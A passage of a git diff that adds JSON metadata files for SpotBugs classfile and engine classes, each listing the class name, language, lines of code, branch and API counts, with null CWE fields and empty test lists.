"IDatabaseFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 31, + "branches": 3, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IErrorLogger.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IErrorLogger.json new file mode 100644 index 0000000..596657c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IErrorLogger.json @@ -0,0 +1,13 @@ +{ + "name": "IErrorLogger", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 86, + "branches": 6, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IMethodAnalysisEngine.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IMethodAnalysisEngine.json new file mode 100644 index 0000000..72e371b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IMethodAnalysisEngine.json @@ -0,0 +1,13 @@ +{ + "name": "IMethodAnalysisEngine", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 28, + "branches": 3, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IScannableCodeBase.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IScannableCodeBase.json new file mode 100644 index 0000000..261ca43 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IScannableCodeBase.json @@ -0,0 +1,13 @@ +{ + "name": "IScannableCodeBase", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 39, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/InvalidClassFileFormatException.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/InvalidClassFileFormatException.json new file mode 100644 index 0000000..8e93db1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/InvalidClassFileFormatException.json @@ -0,0 +1,13 @@ +{ + "name": "InvalidClassFileFormatException", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 72, + "branches": 3, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/MethodDescriptor.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/MethodDescriptor.json new file mode 100644 index 0000000..9e7f6a2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/MethodDescriptor.json @@ -0,0 +1,13 @@ +{ + "name": "MethodDescriptor", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 82, + "branches": 6, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/MissingClassException.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/MissingClassException.json new file mode 100644 index 0000000..8202af7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/MissingClassException.json @@ -0,0 +1,13 @@ +{ + "name": "MissingClassException", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 61, + "branches": 2, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/RecomputableClassAnalysisEngine.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/RecomputableClassAnalysisEngine.json new file mode 100644 index 0000000..9ae5dcc --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/RecomputableClassAnalysisEngine.json @@ -0,0 +1,13 @@ +{ + "name": "RecomputableClassAnalysisEngine", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 33, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/ReflectionDatabaseFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/ReflectionDatabaseFactory.json new file mode 100644 index 0000000..a414a64 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/ReflectionDatabaseFactory.json @@ -0,0 +1,13 @@ +{ + "name": "ReflectionDatabaseFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 129, + "branches": 12, + "apis": 14, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/ResourceNotFoundException.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/ResourceNotFoundException.json new file mode 100644 index 0000000..dfa3080 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/ResourceNotFoundException.json @@ -0,0 +1,13 @@ +{ + "name": "ResourceNotFoundException", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 75, + "branches": 4, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/UncheckedAnalysisException.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/UncheckedAnalysisException.json new file mode 100644 index 0000000..3968dec --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/UncheckedAnalysisException.json @@ -0,0 +1,13 @@ +{ + "name": "UncheckedAnalysisException", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 49, + "branches": 3, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/analysis/AnnotatedObject.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/analysis/AnnotatedObject.json new file mode 100644 index 0000000..de6af49 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/analysis/AnnotatedObject.json @@ -0,0 +1,13 @@ +{ + "name": "AnnotatedObject", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 48, + "branches": 3, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/analysis/AnnotationValue.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/analysis/AnnotationValue.json new file mode 100644 index 0000000..bd0add0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/analysis/AnnotationValue.json @@ -0,0 +1,13 @@ +{ + "name": "AnnotationValue", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 238, + "branches": 5, + "apis": 25, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/analysis/ClassData.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/analysis/ClassData.json new file mode 100644 index 0000000..221cb49 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/analysis/ClassData.json @@ -0,0 +1,13 @@ +{ + "name": "ClassData", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 89, + "branches": 4, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/analysis/ClassInfo.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/analysis/ClassInfo.json new file mode 100644 index 0000000..e49aca1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/analysis/ClassInfo.json @@ -0,0 +1,13 @@ +{ + "name": "ClassInfo", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 498, + "branches": 46, + "apis": 79, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/analysis/ClassNameAndSuperclassInfo.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/analysis/ClassNameAndSuperclassInfo.json new file mode 100644 index 0000000..2751800 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/analysis/ClassNameAndSuperclassInfo.json @@ -0,0 +1,13 @@ +{ + "name": "ClassNameAndSuperclassInfo", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 266, + "branches": 5, + "apis": 19, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/analysis/EnumValue.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/analysis/EnumValue.json new file mode 100644 index 0000000..e8adecc --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/analysis/EnumValue.json @@ -0,0 +1,13 @@ +{ + "name": "EnumValue", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 60, + "branches": 3, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/analysis/FieldInfo.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/analysis/FieldInfo.json new file mode 100644 index 0000000..43acfc1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/analysis/FieldInfo.json @@ -0,0 +1,13 @@ +{ + "name": "FieldInfo", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 332, + "branches": 8, + "apis": 42, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/analysis/MethodInfo.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/analysis/MethodInfo.json new file mode 100644 index 0000000..e3e2571 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/analysis/MethodInfo.json @@ -0,0 +1,13 @@ +{ + "name": "MethodInfo", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 742, + "branches": 30, + "apis": 95, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/analysis/package-info.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/analysis/package-info.json new file mode 100644 index 0000000..502db66 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/analysis/package-info.json @@ -0,0 +1,13 @@ +{ + "name": "package-info", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 11, + "branches": 0, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/AbstractFieldAnnotationVisitor.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/AbstractFieldAnnotationVisitor.json new file mode 100644 index 0000000..d212249 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/AbstractFieldAnnotationVisitor.json @@ -0,0 +1,13 @@ +{ + "name": "AbstractFieldAnnotationVisitor", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 49, + "branches": 2, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/AbstractMethodVisitor.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/AbstractMethodVisitor.json new file mode 100644 index 0000000..1c6f4cb --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/AbstractMethodVisitor.json @@ -0,0 +1,13 @@ +{ + "name": "AbstractMethodVisitor", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 289, + "branches": 2, + "apis": 24, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/ClassDataAnalysisEngine.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/ClassDataAnalysisEngine.json new file mode 100644 index 0000000..dbe2068 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/ClassDataAnalysisEngine.json @@ -0,0 +1,13 @@ +{ + "name": "ClassDataAnalysisEngine", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 133, + "branches": 10, + "apis": 14, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/ClassInfoAnalysisEngine.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/ClassInfoAnalysisEngine.json new file mode 100644 index 0000000..6cc528e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/ClassInfoAnalysisEngine.json @@ -0,0 +1,13 @@ +{ + "name": "ClassInfoAnalysisEngine", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 111, + "branches": 8, + "apis": 21, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/ClassNameAndSuperclassInfoAnalysisEngine.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/ClassNameAndSuperclassInfoAnalysisEngine.json new file mode 100644 index 0000000..c4e2960 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/ClassNameAndSuperclassInfoAnalysisEngine.json @@ -0,0 +1,13 @@ +{ + "name": "ClassNameAndSuperclassInfoAnalysisEngine", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 90, + "branches": 4, + "apis": 13, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/ClassParser.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/ClassParser.json new file mode 100644 index 0000000..58d9385 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/ClassParser.json @@ -0,0 +1,13 @@ +{ + "name": "ClassParser", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 499, + "branches": 44, + "apis": 77, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/ClassParserInterface.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/ClassParserInterface.json new file mode 100644 index 0000000..d633c51 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/ClassParserInterface.json @@ -0,0 +1,13 @@ +{ + "name": "ClassParserInterface", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 58, + "branches": 2, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/ClassParserUsingASM.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/ClassParserUsingASM.json new file mode 100644 index 0000000..2caf501 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/ClassParserUsingASM.json @@ -0,0 +1,13 @@ +{ + "name": "ClassParserUsingASM", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 740, + "branches": 93, + "apis": 131, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/ClassParserUsingBCEL.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/ClassParserUsingBCEL.json new file mode 100644 index 0000000..b548291 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/ClassParserUsingBCEL.json @@ -0,0 +1,13 @@ +{ + "name": "ClassParserUsingBCEL", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 150, + "branches": 9, + "apis": 28, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/EngineRegistrar.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/EngineRegistrar.json new file mode 100644 index 0000000..eec3ae3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/EngineRegistrar.json @@ -0,0 +1,13 @@ +{ + "name": "EngineRegistrar", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 61, + "branches": 4, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/SelfMethodCalls.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/SelfMethodCalls.json new file mode 100644 index 0000000..a2b7f37 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/SelfMethodCalls.json @@ -0,0 +1,13 @@ +{ + "name": "SelfMethodCalls", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 81, + "branches": 5, + "apis": 10, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/asm/ClassNodeAnalysisEngine.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/asm/ClassNodeAnalysisEngine.json new file mode 100644 index 0000000..16998a7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/asm/ClassNodeAnalysisEngine.json @@ -0,0 +1,13 @@ +{ + "name": "ClassNodeAnalysisEngine", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 77, + "branches": 4, + "apis": 8, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/asm/ClassReaderAnalysisEngine.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/asm/ClassReaderAnalysisEngine.json new file mode 100644 index 0000000..cc4911b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/asm/ClassReaderAnalysisEngine.json @@ -0,0 +1,13 @@ +{ + "name": "ClassReaderAnalysisEngine", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 63, + "branches": 3, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/asm/EngineRegistrar.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/asm/EngineRegistrar.json new file mode 100644 index 0000000..c211b43 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/asm/EngineRegistrar.json @@ -0,0 +1,13 @@ +{ + "name": "EngineRegistrar", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 59, + "branches": 5, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/asm/FindBugsASM.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/asm/FindBugsASM.json new file mode 100644 index 0000000..cec6ae1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/asm/FindBugsASM.json @@ -0,0 +1,13 @@ +{ + "name": "FindBugsASM", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 33, + "branches": 2, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/asm/package-info.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/asm/package-info.json new file mode 100644 index 0000000..31d7cec --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/asm/package-info.json @@ -0,0 +1,13 @@ +{ + "name": "package-info", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 6, + "branches": 1, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/AnalysisFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/AnalysisFactory.json new file mode 100644 index 0000000..40f49c9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/AnalysisFactory.json @@ -0,0 +1,13 @@ +{ + "name": "AnalysisFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 159, + "branches": 4, + "apis": 18, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/AssertionMethodsFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/AssertionMethodsFactory.json new file mode 100644 index 0000000..a56f4db --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/AssertionMethodsFactory.json @@ -0,0 +1,13 @@ +{ + "name": "AssertionMethodsFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 55, + "branches": 3, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/AssignedFieldMapFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/AssignedFieldMapFactory.json new file mode 100644 index 0000000..b6c693e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/AssignedFieldMapFactory.json @@ -0,0 +1,13 @@ +{ + "name": "AssignedFieldMapFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 67, + "branches": 3, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/BackwardTypeQualifierDataflowFactoryFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/BackwardTypeQualifierDataflowFactoryFactory.json new file mode 100644 index 0000000..abd3d13 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/BackwardTypeQualifierDataflowFactoryFactory.json @@ -0,0 +1,13 @@ +{ + "name": "BackwardTypeQualifierDataflowFactoryFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 49, + "branches": 2, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/BlockTypeAnalysisFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/BlockTypeAnalysisFactory.json new file mode 100644 index 0000000..108e42a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/BlockTypeAnalysisFactory.json @@ -0,0 +1,13 @@ +{ + "name": "BlockTypeAnalysisFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 37, + "branches": 1, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/CFGFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/CFGFactory.json new file mode 100644 index 0000000..2e30c35 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/CFGFactory.json @@ -0,0 +1,13 @@ +{ + "name": "CFGFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 241, + "branches": 32, + "apis": 68, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/CallListDataflowFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/CallListDataflowFactory.json new file mode 100644 index 0000000..49df22b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/CallListDataflowFactory.json @@ -0,0 +1,13 @@ +{ + "name": "CallListDataflowFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 37, + "branches": 1, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ClassContextClassAnalysisEngine.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ClassContextClassAnalysisEngine.json new file mode 100644 index 0000000..dbc9d55 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ClassContextClassAnalysisEngine.json @@ -0,0 +1,13 @@ +{ + "name": "ClassContextClassAnalysisEngine", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 65, + "branches": 4, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/CompactLocationNumberingFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/CompactLocationNumberingFactory.json new file mode 100644 index 0000000..6d00347 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/CompactLocationNumberingFactory.json @@ -0,0 +1,13 @@ +{ + "name": "CompactLocationNumberingFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 61, + "branches": 4, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ConstantDataflowFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ConstantDataflowFactory.json new file mode 100644 index 0000000..9494337 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ConstantDataflowFactory.json @@ -0,0 +1,13 @@ +{ + "name": "ConstantDataflowFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 40, + "branches": 2, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ConstantPoolGenFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ConstantPoolGenFactory.json new file mode 100644 index 0000000..7b16e2a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/ConstantPoolGenFactory.json @@ -0,0 +1,13 @@ +{ + "name": "ConstantPoolGenFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 63, + "branches": 3, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/engine/bcel/DepthFirstSearchFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule 